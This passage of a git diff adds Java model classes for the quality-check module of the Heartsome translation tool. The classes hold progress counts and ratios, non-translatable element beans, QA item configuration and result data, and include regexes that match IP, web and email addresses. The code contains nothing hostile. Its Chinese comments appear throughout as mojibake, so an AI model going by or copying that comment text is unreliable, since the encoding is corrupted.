QAConstant.RETURNVALUE_RESULT_SUCCESSFUL != (Integer) newResultMap + .get(QAConstant.RETURNVALUE_RESULT)) { + return false; + } + } + return true; + } + + /** + * 获å–首选项中å“质检查的ä¸åŒ…括的文本段 + * @return + */ + public Map getNotIncludePara() { + IPreferenceStore preferenceStore = Activator.getDefault().getPreferenceStore(); + Map notInclude = new HashMap(); + + // ä¸åŒ…æ‹¬ä¸Šä¸‹æ–‡åŒ¹é… + notInclude.put(QAConstant.QA_PREF_CONTEXT_NOTINCLUDE, + preferenceStore.getBoolean(QAConstant.QA_PREF_CONTEXT_NOTINCLUDE)); + // ä¸åŒ…括完æˆåŒ¹é… + notInclude.put(QAConstant.QA_PREF_FULLMATCH_NOTINCLUDE, + preferenceStore.getBoolean(QAConstant.QA_PREF_FULLMATCH_NOTINCLUDE)); + // ä¸åŒ…括已é”文本段 + notInclude.put(QAConstant.QA_PREF_LOCKED_NOTINCLUDE, + preferenceStore.getBoolean(QAConstant.QA_PREF_LOCKED_NOTINCLUDE)); + + return notInclude; + } + + /** + * åˆå§‹åŒ–进度æ¡å‰è¿›å‰éš”值,使之总值ä¸å¤§äºŽäº”百。 + */ + private int initWorkInterval(int allTUSize) { + if (allTUSize > 500) { + workInterval = allTUSize / 500; + } + return allTUSize; + } + +} diff --git a/ts/net.heartsome.cat.ts.ui.qa/src/net/heartsome/cat/ts/ui/qa/model/EditProgressFAResult.java b/ts/net.heartsome.cat.ts.ui.qa/src/net/heartsome/cat/ts/ui/qa/model/EditProgressFAResult.java new file mode 100644 index 0000000..a2f2d37 --- /dev/null +++ b/ts/net.heartsome.cat.ts.ui.qa/src/net/heartsome/cat/ts/ui/qa/model/EditProgressFAResult.java @@ -0,0 +1,134 @@ +package net.heartsome.cat.ts.ui.qa.model; + +import java.text.NumberFormat; + +/** + * 编辑进度分æžç»“æžœå°è£…ç±» + * @author robert 2011-12-14 + */ +public class EditProgressFAResult { + /** 未批准文本段 */ + private int notApprovedParas; + /** 已批准文本段 */ + private int approvedParas; + /** 未批准字数 */ + private int notApprovedWords; + /** 已批准字数 */ + private int approvedWords; + /** é”定文本段的段数 */ + private int lockedParas = 0; + /** é”定文本段的字数 */ + private int lockedWords = 0; + + public EditProgressFAResult(){ } + + public EditProgressFAResult(int notApprovedParas, int approvedParas, + int lockedParas, int notApprovedWords, int approvedWords, int lockedWords) { + this.notApprovedParas = notApprovedParas; + this.approvedParas = approvedParas; + this.lockedParas = lockedParas; + this.notApprovedWords = notApprovedWords; + this.approvedWords = approvedWords; + this.lockedWords = lockedWords; + } + + public int getNotApprovedParas() { + return notApprovedParas; + } + public int getApprovedParas() { + return approvedParas; + } + public int getLockedParas() { + return lockedParas; + } + public int getNotApprovedWords() { + return notApprovedWords; + } + public int getApprovedWords() { + return approvedWords; + } + public int getLockedWords() { + return lockedWords; + } + + public void setNotApprovedParas(int notApprovedParas) { + this.notApprovedParas += notApprovedParas; + } + public void setApprovedParas(int approvedParas) { + this.approvedParas += approvedParas; + } + public void setLockedParas(int lockedParas) { + this.lockedParas += lockedParas; + } + public void setNotApprovedWords(int notApprovedWords) { + this.notApprovedWords += notApprovedWords; + } + public void setApprovedWords(int approvedWords) { + this.approvedWords += approvedWords; + } + public void setLockedWords(int lockedWords) { + this.lockedWords += lockedWords; + } + + /** + * 获å–所有字数 + * @return + */ + public int getTotalWords(){ + return notApprovedWords + approvedWords; + } + + /** + * 获å–未批准字数的比例 + * @return 如25.00% + */ + public String getNotApprovedWordsRatio(){ + float ratio = (float)notApprovedWords / (notApprovedWords + approvedWords); + NumberFormat format = NumberFormat.getNumberInstance(); + format.setMaximumFractionDigits(2); + + return format.format(ratio * 100) + "%"; + } + + /** + * 获å–已批准字数的比例 + * @return 如25.00% + */ + public String getApprovedWordsRatio(){ + float ratio = (float)approvedWords / (notApprovedWords + approvedWords); + NumberFormat format = NumberFormat.getNumberInstance(); + format.setMaximumFractionDigits(2); + return format.format(ratio * 100) + "%"; + } + + /** + * 获å–所有文本段 + * @return + */ + public int getTotalParas(){ + return notApprovedParas + approvedParas; + } + + /** + * 获å–未批准文本段的比例 + * @return 如25.00% + */ + public String getNotApprovedParasRatio(){ + float ratio = (float)notApprovedParas / (notApprovedParas + approvedParas); + NumberFormat format = NumberFormat.getNumberInstance(); + format.setMaximumFractionDigits(2); + return format.format(ratio * 100) + "%"; + } + + /** + * 获å–已批准文本段的比例 + * @return 如25.00% + */ + public String getApprovedParasRatio(){ + float ratio = (float)approvedParas / (notApprovedParas + approvedParas); + NumberFormat format = NumberFormat.getNumberInstance(); + format.setMaximumFractionDigits(2); + return format.format(ratio * 100) + "%"; + } + +} diff --git a/ts/net.heartsome.cat.ts.ui.qa/src/net/heartsome/cat/ts/ui/qa/model/LockDataBean.java b/ts/net.heartsome.cat.ts.ui.qa/src/net/heartsome/cat/ts/ui/qa/model/LockDataBean.java new file mode 100644 index 0000000..2556585 --- /dev/null +++ b/ts/net.heartsome.cat.ts.ui.qa/src/net/heartsome/cat/ts/ui/qa/model/LockDataBean.java @@ -0,0 +1,38 @@ +package net.heartsome.cat.ts.ui.qa.model; + +/** + * é”定内部é‡å¤æ—¶ï¼Œä¿å­˜æ¯ä¸ªæ–‡æœ¬æ®µçš„纯文本以åŠå­—数。 + * @author robert 2012-10-09 + * + */ +public class LockDataBean { + private String pureText; + private int wordCount; + + public LockDataBean(){} + + public LockDataBean(String pureText, int wordCount){ + this.pureText = pureText; + this.wordCount = wordCount; + } + + public String getPureText() { + return pureText; + } + + public void setPureText(String pureText) { + this.pureText = pureText; + } + + public int getWordCount() { + return wordCount; + } + + public void setWordCount(int wordCount) { + this.wordCount = wordCount; + } + + + + +} diff --git a/ts/net.heartsome.cat.ts.ui.qa/src/net/heartsome/cat/ts/ui/qa/model/NontransElementBean.java b/ts/net.heartsome.cat.ts.ui.qa/src/net/heartsome/cat/ts/ui/qa/model/NontransElementBean.java new file mode 100644 index 0000000..8e6e1b9 --- /dev/null +++ b/ts/net.heartsome.cat.ts.ui.qa/src/net/heartsome/cat/ts/ui/qa/model/NontransElementBean.java @@ -0,0 +1,99 @@ +package net.heartsome.cat.ts.ui.qa.model; + +import java.util.List; +import java.util.Map; + +/** + * éžè¯‘元素的pojo类。 + * @author robert 2012-06-13 + */ +public class NontransElementBean { + private String id; + private String name; + private String content; + private String regular; + + public NontransElementBean(){} + + public NontransElementBean(String id, String name, String content, String regular){ + this.id = id; + this.name = name; + this.content = content; + this.regular = regular; + } + + public String getId() { + return id; + } + + public void setId(String id) { + this.id = id; + } + + public String getName() { + return name; + } + + public void setName(String name) { + this.name = name; + } + + public String getContent() { + return content; + } + + public void setContent(String content) { + this.content = content; + } + + public String getRegular() { + return regular; + } + + public void setRegular(String regular) { + this.regular = regular; + } + + + /** + *
    此方法是é‡å†™çˆ¶ç±»çš„方法,åªç”¨äºŽ listViewer çš„ refresh() 方法使用
    + */ + @Override + public boolean equals(Object obj) { + if (obj instanceof NontransElementBean) { + NontransElementBean objBean = (NontransElementBean) obj; + if (id.equals(objBean.getId()) && name.equals(objBean.getName()) && content.equals(objBean.getContent()) && regular.equals(objBean.getRegular())) { + return true; // id.equals(objBean.getId()) + } + } + return false; + } + + /** + *
    idä¸ä¸€æ ·ï¼Œå…¶ä»–都一样时,标识为é‡å¤ï¼Œè‹¥ 都一样,则标记为åŒä¸€ä¸ªå…ƒç´ ï¼Œæ­¤æ–¹æ³•æ˜¯ç”¨äºŽç¼–辑元素时所用
    + */ + public boolean equalsOfEdit(Object obj) { + if (obj instanceof NontransElementBean) { + NontransElementBean objBean = (NontransElementBean) obj; + if (!id.equals(objBean.getId()) && name.equals(objBean.getName()) && content.equals(objBean.getContent()) && regular.equals(objBean.getRegular())) { + return true; + } + } + return false; + } + + /** + *
    除id以外,其他都一样时,标识为é‡å¤ï¼Œæ­¤æ–¹æ³•æ˜¯ç”¨äºŽåˆå§‹åŒ–ç•Œé¢æ£€æŸ¥éžè¯‘元素é‡å¤æ—¶æ‰€ç”¨ï¼Œè§ NonTranslationQA 类中的 findAllRepeatElement() 方法
    + * @param obj + * @return + */ + public boolean equalsOfRepeatCheck(Object obj) { + if (obj instanceof NontransElementBean) { + NontransElementBean objBean = (NontransElementBean) obj; + if (name.equals(objBean.getName()) && content.equals(objBean.getContent()) && regular.equals(objBean.getRegular())) { + return true; + } + } + return false; + } +} diff --git a/ts/net.heartsome.cat.ts.ui.qa/src/net/heartsome/cat/ts/ui/qa/model/QAModel.java b/ts/net.heartsome.cat.ts.ui.qa/src/net/heartsome/cat/ts/ui/qa/model/QAModel.java new file mode 100644 index 0000000..d888003 --- /dev/null +++ b/ts/net.heartsome.cat.ts.ui.qa/src/net/heartsome/cat/ts/ui/qa/model/QAModel.java @@ -0,0 +1,245 @@ +package net.heartsome.cat.ts.ui.qa.model; + +import java.util.ArrayList; +import java.util.HashMap; +import java.util.LinkedHashMap; +import java.util.LinkedList; +import java.util.List; +import java.util.Map; + +import net.heartsome.cat.common.util.TextUtil; +import net.heartsome.cat.ts.core.qa.QAConstant; +import net.heartsome.cat.ts.ui.qa.resource.Messages; +import net.heartsome.cat.ts.ui.util.MultiFilesOper; + +import org.eclipse.core.resources.IFile; +import org.eclipse.swt.widgets.Shell; + +/** + * 备注:此类中的é…ç½®éžå¸¸é‡è¦ã€‚ + * @author robert + * @version + * @since JDK1.6 + */ +public class QAModel { + /** è¦æ£€æŸ¥çš„æ–‡ä»¶çš„é›†åˆ */ + private List qaXlfList; + /** 是å¦æ˜¯æ‰¹é‡æ£€æŸ¥ */ + private boolean isBatchQA; + private boolean isMuliFiles; + + /** 批é‡æ£€æŸ¥æ—¶çš„所有检查项,这是从首选项中获å–çš„ */ + private LinkedList batchQAItemIdList; + /** + * å“质检查的标识符,检查项å称,检查项类å的键值对 + */ + private Map> qaItemId_Name_Class; + private Shell shell; + + /**---------------------å“质检查首选项中的å‚æ•° å“质检查ä¸åŒ…括的文本段,针对所有å“质检查项--------------*/ + private Map notInclude; + + //---------------------å“质检查首选项中的å‚æ•° 术语一致性检查 ------------------------------------// + + //---------------------å“质检查首选项中的å‚æ•° 文本段一致性检查 ------------------------------------// +/* *//** 文本段一致性检查中的忽略大å°å†™ï¼Œé»˜è®¤ä¸ºfalse *//* + private boolean paraIgnoreCase = false; + *//** 文本段一致性检查中的忽略标记,默认为false *//* + private boolean paraIgnoreTag = false; + *//** 文本段一致性检查中的检查项:相åŒæºæ–‡ä¸åŒè¯‘æ–‡ *//* + private boolean paraCheckSameSource = true; + *//** 文本段一致性检查中的检查项:相åŒè¯‘æ–‡ä¸åŒæºæ–‡ *//* + private boolean paraCheckSameTarget = true;*/ + + //---------------------å“质检查首选项中的å‚æ•° 数字一致性检查------------------------------------// + /** 数字一致性检查中的检查项:与æºæ–‡ä¸€è‡´æ€§ */ + private boolean numberSameToSource = true; + /** 数字一致性检查中的检查项:正确的数字界定符检查 */ + private boolean numberBoundarySign = false; + /** 当å‰è¿›è¡Œè¿›è¡Œå¤„ç†çš„æŸç§è¯­è¨€å¯¹çš„rowid集åˆï¼Œé’ˆå¯¹åˆå¹¶æ‰“å¼€ */ + private List rowIdsList; + /** åˆå¹¶æ–‡ä»¶çš„处ç†ç±»å®žä¾‹ */ + private MultiFilesOper multiOper; + + /** + * qaItemId qaItemName qaItemClassName + * batch 批é‡æ£€æŸ¥ + * term 术语一致性检查 net.heartsome.cat.ts.ui.qa.TermConsistenceQA + * paragraph 文本段一致性检查 net.heartsome.cat.ts.ui.qa.ParagraphConsistenceQA + * number 数字一致性检查 net.heartsome.cat.ts.ui.qa.NumberConsistenceQA + * tag 标记一致性检查 net.heartsome.cat.ts.ui.qa.TagConsistenceQA + * nonTranslation éžè¯‘元素检查 net.heartsome.cat.ts.ui.qa.NonTranslationQA + * spaceOfParaCheck 段首段末空格检查 net.heartsome.cat.ts.ui.qa.NonTranslationQA + * paragraphCompleteness 文本段完整性检查 net.heartsome.cat.ts.ui.qa.ParaCompletenessQA + * targetTextLengthLimit 目标文本段长度é™åˆ¶æ£€æŸ¥ net.heartsome.cat.ts.ui.qa.TgtTextLengthLimitQA + * spell 拼写检查 net.heartsome.cat.ts.ui.qa.SpellQA + */ + public QAModel(){ + qaItemId_Name_Class = new LinkedHashMap>(); + //术语一致性检查 + HashMap valueMap = new HashMap(); + valueMap.put(QAConstant.QA_ITEM_NAME, Messages.getString("qa.all.qaItem.TermConsistenceQA")); + valueMap.put(QAConstant.QA_ITEM_CLASSNAME, "net.heartsome.cat.ts.ui.qa.TermConsistenceQA"); + qaItemId_Name_Class.put(QAConstant.QA_TERM, valueMap); + + //文本段一致性检查 + valueMap = new HashMap(); + valueMap.put(QAConstant.QA_ITEM_NAME, Messages.getString("qa.all.qaItem.ParagraphConsistenceQA")); + valueMap.put(QAConstant.QA_ITEM_CLASSNAME, "net.heartsome.cat.ts.ui.qa.ParagraphConsistenceQA"); + qaItemId_Name_Class.put(QAConstant.QA_PARAGRAPH, valueMap); + + //数字一致性检查 + valueMap = new HashMap(); + valueMap.put(QAConstant.QA_ITEM_NAME, Messages.getString("qa.all.qaItem.NumberConsistenceQA")); + valueMap.put(QAConstant.QA_ITEM_CLASSNAME, "net.heartsome.cat.ts.ui.qa.NumberConsistenceQA"); + qaItemId_Name_Class.put(QAConstant.QA_NUMBER, valueMap); + + //标记一致性检查 + valueMap = new HashMap(); + valueMap.put(QAConstant.QA_ITEM_NAME, Messages.getString("qa.all.qaItem.TagConsistenceQA")); + valueMap.put(QAConstant.QA_ITEM_CLASSNAME, "net.heartsome.cat.ts.ui.qa.TagConsistenceQA"); + qaItemId_Name_Class.put(QAConstant.QA_TAG, valueMap); + + //éžè¯‘元素检查 + valueMap = new HashMap(); + valueMap.put(QAConstant.QA_ITEM_NAME, Messages.getString("qa.all.qaItem.NonTranslationQA")); + valueMap.put(QAConstant.QA_ITEM_CLASSNAME, "net.heartsome.cat.ts.ui.qa.NonTranslationQA"); + qaItemId_Name_Class.put(QAConstant.QA_NONTRANSLATION, valueMap); + + //段首ã€æ®µæœ«ç©ºæ ¼æ£€æŸ¥ + valueMap = new HashMap(); + valueMap.put(QAConstant.QA_ITEM_NAME, Messages.getString("qa.all.qaItem.SpaceOfParaCheck")); + valueMap.put(QAConstant.QA_ITEM_CLASSNAME, "net.heartsome.cat.ts.ui.qa.SpaceOfParaCheckQA"); + qaItemId_Name_Class.put(QAConstant.QA_SPACEOFPARACHECK, valueMap); + + //文本段完整性检查 + valueMap = new HashMap(); + valueMap.put(QAConstant.QA_ITEM_NAME, Messages.getString("qa.all.qaItem.ParaCompletenessQA")); + valueMap.put(QAConstant.QA_ITEM_CLASSNAME, "net.heartsome.cat.ts.ui.qa.ParaCompletenessQA"); + qaItemId_Name_Class.put(QAConstant.QA_PARACOMPLETENESS, valueMap); + + //目标文本段长度é™åˆ¶æ£€æŸ¥ + valueMap = new HashMap(); + valueMap.put(QAConstant.QA_ITEM_NAME, Messages.getString("qa.all.qaItem.TgtTextLengthLimitQA")); + valueMap.put(QAConstant.QA_ITEM_CLASSNAME, "net.heartsome.cat.ts.ui.qa.TgtTextLengthLimitQA"); + qaItemId_Name_Class.put(QAConstant.QA_TGTTEXTLENGTHLIMIT, valueMap); + + //拼写检查 + valueMap = new HashMap(); + valueMap.put(QAConstant.QA_ITEM_NAME, Messages.getString("qa.all.qaItem.SpellQA")); + valueMap.put(QAConstant.QA_ITEM_CLASSNAME, "net.heartsome.cat.ts.ui.qa.SpellQA"); + qaItemId_Name_Class.put(QAConstant.QA_SPELL, valueMap); + } + + /** + * 获å–内置éžè¯‘元素,包括检查ip地å€ï¼Œweb地å€ï¼Œé‚®ä»¶åœ°å€ + * @return + */ + public static final List getInterNonTransElements(){ + List interNonTransElements = new ArrayList(); + //添加内置ip + String id = "qaInternalNonTrans_ip"; + String name = Messages.getString("qa.model.QAModel.ipAdd"); + String regular = "\\b(25[0-5]|2[0-4]\\d|1\\d{2}|[1-9]?\\d)(\\.(25[0-5]|2[0-4]\\d|1\\d{2}|[1-9]?\\d)){3}(:\\d{1,})?\\b"; + String content = ""; + interNonTransElements.add(new NontransElementBean(id, name, content, TextUtil.cleanSpecialString(regular))); + + //添加内置éžè¯‘元素,webåœ°å€ + id = "qaInternalNonTrans_web"; + name = Messages.getString("qa.model.QAModel.webAdd"); +// regular = "((http|https|ftp)://(www.)?((((\\w+)+[.])*(net|com|cn|org|cc|tv|[0-9]{1,3}(:\\d{1,})?)))(/([+-_.=%&?#|]?(\\w+)[+-_.=%&?#|]?)*)*)"; + /** burke 修改内置éžè¯‘元素检查,web地å€æ£€æŸ¥ä¸å…¨é¢BUG,修改正则表达å¼regular */ +// regular = "(((http|https|ftp|gopher|wais)://)?((\\w+|[-]*)+:(\\w+|[-]*)+@)?((www[.])?((\\w+|[-]*)+[.])+(net|com|org|mil|gov|edu|int)([.](cn|hk|uk|sg|us|jp|cc|tv))?|(\\d{1,3}[.]\\d{1,3}[.]\\d{1,3}[.]\\d{1,3}))(:\\d{1,})?(/?)([+-_.=%&?#|/]*([\\w\\S]+)[+-_.=%&?#|/]*)*(/?))"; + //这是最新版的web地å€åŒ¹é… robert 2012-05-22 +// regular = "(((http|https|ftp|gopher|wais)://)?(www\\.)?((([^,,\\s])*([\\.](net|com|cn|org|cc|tv|hk|uk|sg|us|jp|mil|gov|edu|int)|(:port)|[0-9]{1,3}(:\\d{1,})?)))([^,,\\s])*)"; +// regular = "(((http|https|ftp|gopher|wais)://)?(www\\.)?(([^,,\\s])*(\\.(net|com|cn|org|cc|tv|hk|uk|sg|us|jp|mil|gov|edu|int)))(((:port)|[0-9]{1,3}(:\\d{1,})?)?)([^,,\\s])*)"; + regular = "\\b(((http|https|ftp|gopher|wais)://)?(www\\.)(([^,,\\s])*(\\.(net|com|cn|org|cc|tv|hk|uk|sg|us|jp|mil|gov|edu|int)))(((:port)|[0-9]{1,3}(:\\d{1,})?)?)([^,,\\s])*)\\b" + + "|\\b(((http|https|ftp|gopher|wais)://)(www\\.)?(([^,,\\s])*(\\.(net|com|cn|org|cc|tv|hk|uk|sg|us|jp|mil|gov|edu|int))?)(((:port)|[0-9]{1,3}(:\\d{1,})?)?)([^,,\\s])*)\\b"; + interNonTransElements.add(new NontransElementBean(id, name, content, TextUtil.cleanSpecialString(regular))); + + //添加内置éžè¯‘å…ƒç´ ï¼Œé‚®ä»¶åœ°å€ + id = "qaInternalNonTrans_email"; + name = Messages.getString("qa.model.QAModel.mailAdd"); +// regular = "\\w+(?:\\.{0,1}[\\w-]+)*@[a-zA-Z0-9]+(?:[-.][a-zA-Z0-9]+)*\\.[a-zA-Z]+"; + regular = "\\b[-\\w]+([-.]\\w+)*@\\w+([-.]\\w+)*\\.([A-Za-z])+\\b"; + interNonTransElements.add(new NontransElementBean(id, name, content, TextUtil.cleanSpecialString(regular))); + + return interNonTransElements; + } + + + public List getQaXlfList() { + return qaXlfList; + } + public void setQaXlfList(List qaXlfList) { + this.qaXlfList = qaXlfList; + } + public boolean isBatchQA() { + return isBatchQA; + } + public void setBatchQA(boolean isBatchQA) { + this.isBatchQA = isBatchQA; + } + /** + * 首选项中的å„项检查的主键的集åˆ,它里é¢çš„值的存储进程是在BatchQAHandler中进行的。 + */ + public LinkedList getBatchQAItemIdList() { + return batchQAItemIdList; + } + public void setBatchQAItemIdList(LinkedList batchQAItemIdList) { + this.batchQAItemIdList = batchQAItemIdList; + } + public Map> getQaItemId_Name_Class() { + return qaItemId_Name_Class; + } + public Shell getShell() { + return shell; + } + public void setShell(Shell shell) { + this.shell = shell; + } + public boolean isNumberSameToSource() { + return numberSameToSource; + } + public void setNumberSameToSource(boolean numberSameToSource) { + this.numberSameToSource = numberSameToSource; + } + public boolean isNumberBoundarySign() { + return numberBoundarySign; + } + public void setNumberBoundarySign(boolean numberBoundarySign) { + this.numberBoundarySign = numberBoundarySign; + } + public Map getNotInclude() { + return notInclude; + } + public void setNotInclude(Map notInclude) { + this.notInclude = notInclude; + } + + public boolean isMuliFiles() { + return isMuliFiles; + } + + public void setMuliFiles(boolean isMuliFiles) { + this.isMuliFiles = isMuliFiles; + } + + public List getRowIdsList() { + return rowIdsList; + } + + public void setRowIdsList(List rowIdsList) { + this.rowIdsList = rowIdsList; + } + + public MultiFilesOper getMultiOper() { + return multiOper; + } + + public void setMultiOper(MultiFilesOper multiOper) { + this.multiOper = multiOper; + } + + +} diff --git a/ts/net.heartsome.cat.ts.ui.qa/src/net/heartsome/cat/ts/ui/qa/model/QAResult.java b/ts/net.heartsome.cat.ts.ui.qa/src/net/heartsome/cat/ts/ui/qa/model/QAResult.java new file mode 100644 index 0000000..d9de88b --- /dev/null +++ b/ts/net.heartsome.cat.ts.ui.qa/src/net/heartsome/cat/ts/ui/qa/model/QAResult.java @@ -0,0 +1,172 @@ +package net.heartsome.cat.ts.ui.qa.model; + +import java.beans.PropertyChangeSupport; +import java.util.ArrayList; +import java.util.List; + +import org.eclipse.swt.widgets.Display; +import org.eclipse.ui.IViewPart; +import org.eclipse.ui.IWorkbenchPage; +import org.eclipse.ui.IWorkbenchWindow; +import org.eclipse.ui.PartInitException; +import org.eclipse.ui.PlatformUI; +import org.slf4j.Logger; +import org.slf4j.LoggerFactory; + +import net.heartsome.cat.ts.ui.qa.resource.Messages; +import net.heartsome.cat.ts.ui.qa.views.QAResultViewPart; +import net.heartsome.cat.ts.ui.util.MultiFilesOper; + +public class QAResult { + /** 是å¦è¢«å“质检查视图注册 */ + private boolean isRegist; + private List rowIdDataList = new ArrayList(); + private ArrayList qaResultDatas = new ArrayList(); + /** åˆå¹¶æ–‡ä»¶çš„处ç†ç±» */ + private MultiFilesOper multiOper; + /** 是å¦æ˜¯è‡ªåŠ¨å“质检查 */ + private boolean isAutoQA = false; + public final static Logger logger = LoggerFactory.getLogger(QAResult.class.getName()); + private QAResult curElement = this; + private List filePathList = new ArrayList(); + /** 针对自动å“质检查。返回当å‰è‡ªåŠ¨å“质检查与å“质检查结果所处ç†çš„对象是å¦åŒä¸€ä¸ª */ + private boolean isSameOperObjForAuto; + private IViewPart qaResultViewer = null; + + + public QAResult(){} + + public ArrayList getQaResultDatas() { + return qaResultDatas; + } + + public void setQaResultDatas(ArrayList qaResultDatas) { + this.qaResultDatas = qaResultDatas; + } + + public PropertyChangeSupport listeners = new PropertyChangeSupport(this); + + + public void firePropertyChange(QAResultBean bean){ + rowIdDataList.add(bean); + } + + + public void firePropertyChange(boolean isMultiFiles, MultiFilesOper oper){ + listeners.firePropertyChange("isMultiFiles", null, new Object[]{isMultiFiles, oper}); + } + + + /** + * å‘é€æ•°æ®è‡³å“质检查结果视图 + */ + public void sendDataToViewer(String rowId){ + if (!isRegist) { + // 先调用方法,查看å“质检查结果视图是å¦å¤„于显示状æ€ï¼Œå¦‚果没有显示,那么先显示它 + Display.getDefault().syncExec(new Runnable() { + public void run() { + IWorkbenchWindow window = PlatformUI.getWorkbench().getActiveWorkbenchWindow(); + if (window == null) { + return; + } + IWorkbenchPage workbenchPage = window.getActivePage(); + qaResultViewer = workbenchPage.findView(QAResultViewPart.ID); + + if (qaResultViewer == null) { + try { + workbenchPage.showView(QAResultViewPart.ID); + qaResultViewer = workbenchPage.findView(QAResultViewPart.ID); + } catch (PartInitException e) { + e.printStackTrace(); + logger.error(Messages.getString("qa.handlers.BatchQAHandler.log2"), e); + } + } else { + if (!window.getActivePage().isPartVisible(qaResultViewer)) { + if ((isAutoQA && rowIdDataList.size() > 0) || (!isAutoQA)) { + window.getActivePage().activate(qaResultViewer); + } + } + if (!isAutoQA) { + // è‹¥ä¸æ˜¯è‡ªåŠ¨å“质检查,è¿è¡Œæ—¶ï¼Œå°†ç»“果视图中列表的数æ®æ¸…除 + ((QAResultViewPart) qaResultViewer).clearTableData(); + } + } + // 注册 + ((QAResultViewPart) qaResultViewer).registLister(curElement); + isRegist = true; + if (multiOper != null) { + firePropertyChange(true, multiOper); + }else { + firePropertyChange(false, null); + } + } + }); + } + + + if (isAutoQA && rowIdDataList.size() > 0) { + if (qaResultViewer != null) { + Display.getDefault().asyncExec(new Runnable() { + public void run() { + IWorkbenchWindow window = PlatformUI.getWorkbench().getActiveWorkbenchWindow(); + if (window == null) { + return; + } + if (!window.getActivePage().isPartVisible(qaResultViewer)) { + window.getActivePage().activate(qaResultViewer); + } + } + }); + } + } + if (rowIdDataList.size() <= 0) { + listeners.firePropertyChange("printData", null, rowId); + }else { + listeners.firePropertyChange("printData", null, rowIdDataList); + } + rowIdDataList.clear(); + } + + + public boolean isRegist() { + return isRegist; + } + public void setRegist(boolean isRegist) { + this.isRegist = isRegist; + } + + public boolean isAutoQA() { + return isAutoQA; + } + + public void setAutoQA(boolean isAutoQA) { + this.isAutoQA = isAutoQA; + } + + public MultiFilesOper getMultiOper() { + return multiOper; + } + + public void setMultiOper(MultiFilesOper multiOper) { + this.multiOper = multiOper; + } + + public List getFilePathList() { + return filePathList; + } + + public void setFilePathList(List filePathList) { + this.filePathList = filePathList; + } + + public boolean isSameOperObjForAuto() { + return isSameOperObjForAuto; + } + + public void setSameOperObjForAuto(boolean isSameOperObjForAuto) { + this.isSameOperObjForAuto = isSameOperObjForAuto; + } + + + +} diff --git a/ts/net.heartsome.cat.ts.ui.qa/src/net/heartsome/cat/ts/ui/qa/model/QAResultBean.java b/ts/net.heartsome.cat.ts.ui.qa/src/net/heartsome/cat/ts/ui/qa/model/QAResultBean.java new file mode 100644 index 0000000..cf4a435 --- /dev/null +++ b/ts/net.heartsome.cat.ts.ui.qa/src/net/heartsome/cat/ts/ui/qa/model/QAResultBean.java @@ -0,0 +1,114 @@ +package net.heartsome.cat.ts.ui.qa.model; + +/** + * å“质检查结果pojoç±» + * @author robert 2012-04-20 + * @version + * @since JDK1.6 + */ +public class QAResultBean { + /** é”™è¯¯è¡Œå· */ + private String lineNumber; + /** å“质检查类型 */ + private String qaType; + /** 错误æç¤ºè¯­å¥ */ + private String errorTip; + /** 文件路径 */ + private String resource; + private String langPair; + private String rowId; + /** å“质检查级别,若为0,则为错误,若为1,则为警告 */ + private int tipLevel; + /** å“质检查项,å–值为 QA_TERM, QA_PARAGRAPH 等等 */ + private String qaItem; + /** 是å¦æ˜¯è‡ªåŠ¨æ‹¼å†™æ£€æŸ¥ */ + private boolean isAutoQA = false; + + + public QAResultBean (){ + } + + public QAResultBean (String lineNumber, String qaType, String errorTip, String resource, String langPair, String rowId, int tipLevel, String qaItem){ + this.lineNumber = lineNumber; + this.qaType = qaType; + this.errorTip = errorTip; + this.resource = resource; + this.langPair = langPair; + this.rowId = rowId; + this.tipLevel = tipLevel; + this.qaItem = qaItem; + } + + public String getLineNumber() { + return lineNumber; + } + + public void setLineNumber(String lineNumber) { + this.lineNumber = lineNumber; + } + + public String getQaType() { + return qaType; + } + + public void setQaType(String qaType) { + this.qaType = qaType; + } + + public String getErrorTip() { + return errorTip; + } + + public void setErrorTip(String errorTip) { + this.errorTip = errorTip; + } + + public String getResource() { + return resource; + } + + public void setResource(String resource) { + this.resource = resource; + } + + public String getLangPair() { + return langPair; + } + + public void setLangPair(String langPair) { + this.langPair = langPair; + } + + public String getRowId() { + return rowId; + } + + public void setRowId(String rowId) { + this.rowId = rowId; + } + + public int getTipLevel() { + return tipLevel; + } + + public void setTipLevel(int tipLevel) { + this.tipLevel = tipLevel; + } + + public String getQaItem() { + return qaItem; + } + + public void setQaItem(String qaItem) { + this.qaItem = qaItem; + } + + public boolean isAutoQA() { + return isAutoQA; + } + + public void setAutoQA(boolean isAutoQA) { + this.isAutoQA = isAutoQA; + } + +} diff --git a/ts/net.heartsome.cat.ts.ui.qa/src/net/heartsome/cat/ts/ui/qa/model/TransProgressFAResult.java b/ts/net.heartsome.cat.ts.ui.qa/src/net/heartsome/cat/ts/ui/qa/model/TransProgressFAResult.java new file mode 100644 index 0000000..843e4b2 --- /dev/null +++ b/ts/net.heartsome.cat.ts.ui.qa/src/net/heartsome/cat/ts/ui/qa/model/TransProgressFAResult.java @@ -0,0 +1,134 @@ +package net.heartsome.cat.ts.ui.qa.model; + +import java.text.NumberFormat; + +/** + * 文件分æžçš„翻译进度分æžç»“æžœpojoç±» + * @author robert 2011-12-13 + */ +public class TransProgressFAResult { + /** 未翻译文本段数,是指翻译å•å…ƒæ—  target å­èŠ‚点或该节点内容为空的文本段的个数 */ + private int notTransPara = 0; + /** 已翻译文本段数,是指翻译å•å…ƒæœ‰ target å­èŠ‚点并且该节点内容ä¸ä¸ºç©ºçš„文本段; */ + private int translatedPara = 0; + /** 未翻译字数,是指翻译å•å…ƒæ—  target å­èŠ‚点或该节点内容为空的文本段的字数; */ + private int notTransWords = 0; + /** å·²ç»ç¿»è¯‘字数,翻译å•å…ƒæœ‰ target å­èŠ‚点并且该节点内容ä¸ä¸ºç©ºçš„文本段的字数; */ + private int translatedWords = 0; + /** é”定文本段的段数 */ + private int lockedPara = 0; + /** é”定文本段的字数 */ + private int lockedWords = 0; + + public TransProgressFAResult(){} + + public TransProgressFAResult(int notTransPara, int translatedPara, int lockedPara, + int notTransWords, int translatedWords, int lockedWords) { + this.notTransPara = notTransPara; + this.translatedPara = translatedPara; + this.lockedPara = lockedPara; + this.notTransWords = notTransWords; + this.translatedWords = translatedWords; + this.lockedWords = lockedWords; + } + + public int getNotTransPara() { + return notTransPara; + } + public int getTranslatedPara() { + return translatedPara; + } + public int getNotTransWords() { + return notTransWords; + } + public int getTranslatedWords() { + return translatedWords; + } + public int getLockedWords() { + return lockedWords; + } + public int getLockedPara() { + return lockedPara; + } + + + public void setNotTransPara(int notTransPara) { + this.notTransPara += notTransPara; + } + public void setTranslatedPara(int translatedPara) { + this.translatedPara += translatedPara; + } + public void setNotTransWords(int notTransWords) { + 